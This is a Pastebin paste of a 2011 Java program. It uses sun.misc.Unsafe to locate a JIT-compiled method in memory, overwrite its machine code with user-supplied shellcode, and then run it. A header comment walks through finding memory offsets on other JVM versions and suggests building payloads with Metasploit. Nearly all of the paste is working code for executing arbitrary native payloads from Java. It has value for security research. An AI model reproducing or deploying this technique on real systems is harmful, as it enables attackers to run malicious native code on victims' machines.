Guest User

Untitled

a guest
Oct 31st, 2011
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 12.89 KB | None | 0 0
  1. /*
  2.  * Running shellcode from Java without JNI (i. e. loading a DLL from disk).
  3.  * Second attempt, this time trying to overwrite a JITed method.
  4.  * (c) 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)
  5.  *
  6.  * Tested versions:
  7.  * .---------------------------.---------.------------.---------.-----------------.
  8.  * | JVM version               | MA slot | NMethod | Entry Pt | EXITFUNC thread |
  9.  * |===========================|=========|=========|==========|=================|
  10.  * | Oracle 1.4.2 Win32        | 25      | 14      | 27       | Not supported   |
  11.  * | Oracle 1.5 Win32          | 29      | 11      | 26       | Not supported   |
  12.  * | Oracle 1.6 Win32          | 29      | 17      | 31       | Not supported   |
  13.  * '---------------------------'---------'---------'----------'-----------------'
  14.  *
  15.  * How to test other versions:
  16.  *
  17.  * 1. Compile this class with settings supported by your target JVM (and
  18.  *    -target 1.1) and run it without arguments. It will examine the class fields
  19.  *    for candidates that might hold a pointer to the method array. The method
  20.  *    array is a Java array that contains one entry for each method, and this
  21.  *    entry contains a native pointer to its entry point (for native methods).
  22.  *    Therefore we first have to find the offset of this pointer. First filter
  23.  *    out all values that are most likely not pointers (too small, too "round",
  24.  *    etc.) In case you have a debugger handy, look at the remaining candidates.
  25.  *    A method array will start with jvm flags (usually 0x00000001), a pointer
  26.  *    to the array's element class object, its length (which should be equal to
  27.  *    the number printed above the candidate table), and a pointer to each of the
  28.  *    elements. The rest (up to an architecture-dependent size) is padded with
  29.  *    zeros. If you don't have a debugger handy, just try all of the candidates
  30.  *    in the next step until you get success.
  31.  *    
  32.  *    [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).]
  33.  *    
  34.  * 2. Run the class with the (suspected) correct method array slot number as its
  35.  *    (only) argument. If the slot was wrong, the JVM will most likely print an
  36.  *    obscure error message or crash. If the slot was correct, it will dump the
  37.  *    fields of the method object inside the array, once before running the method
  38.  *    and once after running the method 1000 times. One of these fields is pointer
  39.  *    to the NMETHOD struct of the function (which contains information about JITted
  40.  *    methods) - which is only filled after the method has been JITted (in case no
  41.  *    field changed, try to run with -Xint to avoid JIT and compare the results).
  42.  *    Examine the pointers until you found this slot, or again just use trial and
  43.  *    error in the next step.
  44.  *    
  45.  *    [Note: On Win32, this is 2 slots before the native method slot of
  46.  *    ShellcodeTest.java.]
  47.  *    
  48.  * 3. Run the class with two parameters, first the method array slot number from
  49.  *    step one, then the NMethod slot number from step two. It will print the
  50.  *    members of that struct, and you have to pick the entry point. For static
  51.  *    methods, the entry point usually occurs three times (_entry_point,
  52.  *    _verified_entry_point, _osr_entry_point), it does not matter which one you
  53.  *    pick. Use this value as the 3rd parameter. The first three parameters have
  54.  *    to be kept for all the following steps, there are only parameters to be
  55.  *    added.
  56.  *    
  57.  *    [Note: On Win32, the value is only slightly higher than the
  58.  *    NMethod pointer value]
  59.  *    
  60.  
  61.  * 4. Run the class with "raw C3" as the 4th and 5th parameter (if your architecture
  62.  *    uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code
  63.  *    will be written into a freshly allocated memory region and the region's base
  64.  *    address will be used for the pointer. This time, the program should not crash,
  65.  *    but return, and print a success message as last step. Running it with
  66.  *    "threaded raw C3" should result in the same results.
  67.  *    
  68.  * 5. Use Metasploit or similar to build a native shellcode for your platform,
  69.  *    using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run
  70.  *    the class with "file /path/to/your/shellcode" as 4th and 5th parameter, which
  71.  *    should result in execution of your shellcode, but probably a crash afterwards.
  72.  *    Try again with "threaded file /path/to/your/shellcode". On Windows, both variants
  73.  *    run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the
  74.  *    last column of the table. [The unthreaded approach kills the Java process on exit,
  75.  *    the threaded approach hangs forever.]
  76.  *    
  77.  * 6. Fill in the table above and send it to me :-)
  78.  */
  79.  
  80. import java.io.File;
  81. import java.io.FileInputStream;
  82. import java.io.IOException;
  83. import java.lang.reflect.Array;
  84. import java.lang.reflect.Field;
  85.  
  86. import sun.misc.Unsafe;
  87.  
  88. public class JITShellcodeTest implements Runnable {
  89.     private static int addressSize;
  90.  
  91.     public static void main(String[] args) throws Exception {
  92.         // avoid Unsafe.class literal here since it may introduce
  93.         // a synthetic method and disrupt our calculations.
  94.         java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  95.         unsafeField.setAccessible(true);
  96.         Unsafe unsafe = (Unsafe) unsafeField.get(null);
  97.         addressSize = unsafe.addressSize();
  98.         Class thisClass = Class.forName("JITShellcodeTest");
  99.         final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1;
  100.         System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods.");
  101.         Field staticField = thisClass.getDeclaredField("addressSize");
  102.         Object staticFieldBase = unsafe.staticFieldBase(staticField);
  103.         long staticFieldOffset = unsafe.staticFieldOffset(staticField);
  104.         long maxOffset = staticFieldOffset;
  105.         if (args.length == 0) {
  106.             System.out.println("[*] Candidates for method array slot:");
  107.             printStaticSlots(unsafe, staticFieldBase, maxOffset);
  108.             System.out.println("[*] Select method array slot now!");
  109.             return;
  110.         }
  111.         long methodArraySlot = Integer.parseInt(args[0]);
  112.         System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")");
  113.         Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize);
  114.         int methodCount = Array.getLength(methodArray);
  115.         if (methodCount != METHOD_COUNT) {
  116.             System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
  117.             return;
  118.         }
  119.         System.out.println("[+] Successfully obtained method array");
  120.         Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot");
  121.         methodSlotField.setAccessible(true);
  122.         int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("jitme", new Class[0]))).intValue();
  123.         System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
  124.         Object methodObject = Array.get(methodArray, shellcodeMethodSlot);
  125.         System.out.println("[+] Successfully obtained method object");     
  126.         maxOffset = 30*addressSize;
  127.         long[] oldval = new long[(int)(maxOffset/addressSize)];
  128.         for (long offset = 0; offset < maxOffset; offset += addressSize) {
  129.             oldval[(int)(offset/addressSize)] = addressSize == 8 ? unsafe.getLong(methodObject, offset) : unsafe.getInt(methodObject, offset) & 0xFFFFFFFFL;
  130.         }
  131.        
  132.         // make him JIT!
  133.         for (int i = 0; i < 10000; i++) {
  134.             jitme();
  135.         }
  136.  
  137.         if (args.length == 1) {
  138.             System.out.println("[*] Candidates for NMETHOD slot:");
  139.             for (long offset = 0; offset < maxOffset; offset += addressSize) {
  140.                 long value = addressSize == 8 ? unsafe.getLong(methodObject, offset) : unsafe.getInt(methodObject, offset) & 0xFFFFFFFFL;
  141.                 System.out.println("\t" + offset / addressSize + "\t" + oldval[(int)(offset/addressSize)] + "\t" + Long.toHexString(value));
  142.             }
  143.             System.out.println("[*] Select NMETHOD slot now!");
  144.             return;
  145.         }
  146.         long nmethodSlot = Integer.parseInt(args[1]);
  147.         System.out.println("[*] Obtaining NMETHOD pointer (slot " + nmethodSlot + ")");
  148.         long nmethodValue = addressSize == 8 ? unsafe.getLong(methodObject, nmethodSlot * addressSize) : unsafe.getInt(methodObject, nmethodSlot * addressSize) & 0xFFFFFFFFL;
  149.         System.out.println("[+] Successfully obtained NMETHOD pointer");       
  150.         if (nmethodValue == 0 || oldval[(int)nmethodSlot] != 0) {
  151.             System.out.println("[-] ERROR: invalid nmethod slot (or JIT did not run?)");
  152.             return;
  153.         }
  154.        
  155.         if (args.length == 2) {
  156.             System.out.println("[*] Candidates for entry point offset:");
  157.             maxOffset = 40*addressSize;
  158.             for (long offset = 0; offset < maxOffset; offset += addressSize) {
  159.                 long value = addressSize == 8 ? unsafe.getLong(nmethodValue+offset) : unsafe.getInt(nmethodValue+offset) & 0xFFFFFFFFL;
  160.                 System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
  161.             }
  162.             System.out.println("[*] Select entry point offset now!");
  163.             return;
  164.         }
  165.         int epOffset = Integer.parseInt(args[2]);
  166.         System.out.println("[*] Obtaining entry point pointer (offset " + epOffset + ")");
  167.         final long targetAddress = addressSize == 8 ? unsafe.getLong(nmethodValue+epOffset * addressSize) : unsafe.getInt(nmethodValue+epOffset*addressSize) & 0xFFFFFFFFL;
  168.         System.out.println("[+] Successfully obtained entry point pointer");       
  169.         boolean useThread = false;
  170.         int argOffset = 3;
  171.         if (args.length > 3 && args[3].equals("threaded")) {
  172.             argOffset++;
  173.             useThread = true;
  174.         }
  175.         if (args.length == argOffset) {
  176.             System.out.println("[-] ERROR: Need a payload, cannot just set a target!");
  177.             System.out.println("[*] Continuing anyway...");
  178.         } else {
  179.             String mode = args[argOffset];
  180.             argOffset++;
  181.             if (mode.equals("raw")) { // raw c3
  182.                 for (int i = argOffset; i < args.length; i++) {
  183.                     unsafe.putByte(targetAddress + i - argOffset, (byte) Integer.parseInt(args[i], 16));
  184.                 }
  185.             } else if (mode.equals("file")) {
  186.                 File file = new File(args[argOffset]);
  187.                 if (file.length() > 2880)
  188.                     throw new IOException("File too large, "+file.length() +" > 2880 ");
  189.                 FileInputStream fis = new FileInputStream(file);
  190.                 int b;
  191.                 long ptr = targetAddress;
  192.                 while ((b = fis.read()) != -1) {
  193.                     unsafe.putByte(ptr, (byte) b);
  194.                     ptr++;
  195.                 }
  196.             } else {
  197.                 System.out.println("Unsupported mode: " + mode);
  198.                 return;
  199.             }
  200.         }
  201.         System.out.println("[+] Successfully overwritten JIT method");
  202.         if (useThread) {
  203.             System.out.println("[*] Executing native method in thread");
  204.             Thread thread = new Thread(new JITShellcodeTest());
  205.             thread.start();
  206.             System.out.println("[*] Thread started");
  207.             thread.join();
  208.             System.out.println("[*] Thread successfully finished");
  209.         } else {
  210.             System.out.println("[*] Executing native method (drum roll...)");
  211.             executed = false;
  212.             jitme();
  213.             if (executed)
  214.                 System.out.println("[-] ERROR: Original method has been executed!");
  215.             else
  216.                 System.out.println("[+] Executed native method and returned!");
  217.         }
  218.     }
  219.  
  220.     public void run() {
  221.         try {
  222.             executed = false;
  223.             jitme();
  224.             if (executed)
  225.                 System.out.println("[-] ERROR: Original method has been executed!");
  226.         } catch (Throwable t) {
  227.             t.printStackTrace();
  228.         }
  229.     }
  230.  
  231.     private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) {
  232.         for (long offset = 0; offset < maxOffset; offset += addressSize) {
  233.             long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL;
  234.             System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
  235.         }
  236.     }
  237.    
  238.     private static volatile boolean executed;
  239.     private static volatile int v1,v2,v3,v4,v5;
  240.  
  241.     private static void jitme() {
  242.         executed = true;
  243.         // On x86: each volatile inc/dec needs 18 bytes,
  244.         // all 160 of them need 2880 bytes,
  245.         // whole JIT method needs 2962 bytes.
  246.         // if you need more shellcode, make a longer method
  247.         v1++; v2++; v3++; v4++; v5++;
  248.         v1++; v2++; v3++; v4++; v5--;
  249.         v1++; v2++; v3++; v4--; v5++;
  250.         v1++; v2++; v3++; v4--; v5--;
  251.         v1++; v2++; v3--; v4++; v5++;
  252.         v1++; v2++; v3--; v4++; v5--;
  253.         v1++; v2++; v3--; v4--; v5++;
  254.         v1++; v2++; v3--; v4--; v5--;
  255.         v1++; v2--; v3++; v4++; v5++;
  256.         v1++; v2--; v3++; v4++; v5--;
  257.         v1++; v2--; v3++; v4--; v5++;
  258.         v1++; v2--; v3++; v4--; v5--;
  259.         v1++; v2--; v3--; v4++; v5++;
  260.         v1++; v2--; v3--; v4++; v5--;
  261.         v1++; v2--; v3--; v4--; v5++;
  262.         v1++; v2--; v3--; v4--; v5--;
  263.         executed = true;
  264.         v1--; v2++; v3++; v4++; v5++;
  265.         v1--; v2++; v3++; v4++; v5--;
  266.         v1--; v2++; v3++; v4--; v5++;
  267.         v1--; v2++; v3++; v4--; v5--;
  268.         v1--; v2++; v3--; v4++; v5++;
  269.         v1--; v2++; v3--; v4++; v5--;
  270.         v1--; v2++; v3--; v4--; v5++;
  271.         v1--; v2++; v3--; v4--; v5--;
  272.         v1--; v2--; v3++; v4++; v5++;
  273.         v1--; v2--; v3++; v4++; v5--;
  274.         v1--; v2--; v3++; v4--; v5++;
  275.         v1--; v2--; v3++; v4--; v5--;
  276.         v1--; v2--; v3--; v4++; v5++;
  277.         v1--; v2--; v3--; v4++; v5--;
  278.         v1--; v2--; v3--; v4--; v5++;
  279.         v1--; v2--; v3--; v4--; v5--;
  280.         executed = true;
  281.     }
  282. }
  283.  
Advertisement
Add Comment
Please, Sign In to add comment